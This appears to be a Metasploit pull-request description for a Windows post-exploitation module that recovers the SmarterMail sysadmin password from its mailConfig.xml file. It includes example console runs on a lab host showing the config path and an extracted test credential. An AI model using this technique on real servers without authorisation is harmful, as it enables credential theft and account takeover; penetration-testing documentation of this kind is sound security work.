Add Windows Gather SmarterMail Password Extraction post module

Add Windows Gather SmarterMail Password Extraction post module.

Homepage: http://www.smartertools.com/smartermail/mail-server-software.aspx
Source: http://www.smartertools.com/smartermail/mail-server-download.aspx
Tested on: SmarterMail versions 10.7.4842 and 11.7.5136 (Windows 7)

### Example Output

```
msf post(smartermail) > set VERBOSE false
VERBOSE => false
msf post(smartermail) > run

[+] 192.168.247.129 (WIN-7) - Found credentials. Username: 'admin' Password: 'metasploit_test_~!@#$%^&*()_+'
[*] Post module execution completed
```

### Example Verbose Output

```
msf post(smartermail) > set VERBOSE true
VERBOSE => true
msf post(smartermail) > run

[*] 192.168.247.129 (WIN-7) - Checking for SmarterMail config file: C:\Program Files (x86)\SmarterTools\SmarterMail\Service\mailConfig.xml
[*] 192.168.247.129 (WIN-7) - Retrieving SmarterMail sysadmin password
[+] 192.168.247.129 (WIN-7) - Found credentials. Username: 'admin' Password: 'metasploit_test_~!@#$%^&*()_+'
[*] Post module execution completed
```